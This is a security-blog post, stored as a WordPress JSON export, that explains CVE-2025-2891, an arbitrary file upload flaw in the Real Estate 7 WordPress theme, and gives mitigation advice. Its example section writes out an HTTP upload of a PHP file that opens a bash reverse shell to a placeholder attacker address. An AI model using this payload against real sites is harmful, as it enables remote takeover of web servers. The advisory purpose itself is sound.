{"id":22687,"date":"2025-04-13T15:03:11","date_gmt":"2025-04-13T15:03:11","guid":{"rendered":""},"modified":"2025-05-18T00:14:32","modified_gmt":"2025-05-18T00:14:32","slug":"cve-2025-2891-arbitrary-file-upload-vulnerability-in-real-estate-7-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2891-arbitrary-file-upload-vulnerability-in-real-estate-7-wordpress-theme\/","title":{"rendered":"<strong>CVE-2025-2891: Arbitrary File Upload Vulnerability in Real Estate 7 WordPress Theme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures system has identified a critical vulnerability, tagged as CVE-2025-2891, in the Real Estate 7 WordPress theme for WordPress. This vulnerability affects all versions up to, and including, 3.5.4, and it poses a significant threat to any business or individual using this theme on their WordPress website.<br \/>\nThe vulnerability exploits a lapse in file type validation, allowing authenticated hackers to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2780-critical-arbitrary-file-upload-vulnerability-in-woffice-core-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"27339\">upload arbitrary files<\/a> to the server of the affected site. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0572-critical-vulnerability-in-totolink-lr1200gb-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"29010\">lead to a system<\/a> compromise or data leakage if not addressed promptly. The vulnerability is particularly concerning if the site has enabled front-end listing submission, as it provides an open avenue for cybercriminals to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0252-remote-code-execution-rce-vulnerability-in-manageengine-adselfservice-plus\/\"  data-wpil-monitor-id=\"26273\">execute remote code<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-2891<br \/>\nSeverity: High (8.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Seller-level access<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0576-critical-vulnerability-in-totolink-lr1200gb-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"29402\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1867640636\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3610-privilege-escalation-vulnerability-in-the-reales-wp-stpt-wordpress-plugin\/\"  data-wpil-monitor-id=\"43859\">Real Estate 7 WordPress<\/a> Theme | Up to and including 3.5.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by taking advantage of the lack of file type validation in the &#8216;template-submit-listing.php&#8217; <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/\"  data-wpil-monitor-id=\"34972\">file of the Real Estate<\/a> 7 WordPress theme. If the site has enabled front-end listing submission, an authenticated attacker with Seller-level access can upload <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2941-arbitrary-file-moving-vulnerability-in-woocommerce-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"28955\">arbitrary files<\/a> on the server. Because there is no file type restriction, the attacker can upload executable files or scripts, leading to potential <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6878-a-critical-remote-code-execution-vulnerability-exploited\/\"  data-wpil-monitor-id=\"26348\">remote code execution<\/a>. This could subsequently result in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-5881-unauthorized-access-vulnerability-in-the-genie-company-aladdin-connect\/\"  data-wpil-monitor-id=\"34001\">unauthorized access<\/a>, data leakage, or even system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2957845069\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a hypothetical example, illustrating how an attacker might <a href=\"https:\/\/www.ameeba.com\/blog\/fortinet-s-fortigate-vulnerability-ssl-vpn-symlink-exploit-puts-user-access-at-risk-post-patching\/\"  data-wpil-monitor-id=\"30195\">exploit this vulnerability<\/a>. In this case, the attacker is submitting a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52200-cross-site-request-forgery-csrf-leading-to-php-object-injection-in-armember-wordpress-plugin\/\"  data-wpil-monitor-id=\"35374\">PHP script via an HTTP POST request<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/themes\/realestate_7\/template-submit-listing.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;fileToUpload&quot;; filename=&quot;evil.php&quot;\nContent-Type: application\/x-php\n&lt;?php exec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/attacker_ip\/8080 0&gt;&amp;1&#039;&quot;); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>The above conceptual example code demonstrates the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2328-arbitrary-file-deletion-vulnerability-in-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin\/\"  data-wpil-monitor-id=\"29551\">uploading of a malicious PHP file<\/a> that, when executed, would establish a reverse shell connection to the attacker&#8217;s machine.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-51063-understanding-and-mitigating-a-dom-based-xss-vulnerability-in-qstar-archive-solutions\/\"  data-wpil-monitor-id=\"27050\">mitigate this vulnerability<\/a>, users are advised to apply the vendor patch as soon as it is available. In the interim, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary solution. Both tools can help detect and block malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2006-arbitrary-file-upload-vulnerability-in-inline-image-upload-for-bbpress-wordpress-plugin\/\"  data-wpil-monitor-id=\"30194\">file uploads<\/a>. It&#8217;s also recommended to disable front-end listing submission if it&#8217;s not necessary for your website operations.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures system has identified a critical vulnerability, tagged as CVE-2025-2891, in the Real Estate 7 WordPress theme for WordPress. This vulnerability affects all versions up to, and including, 3.5.4, and it poses a significant threat to any business or individual using this theme on their WordPress website. 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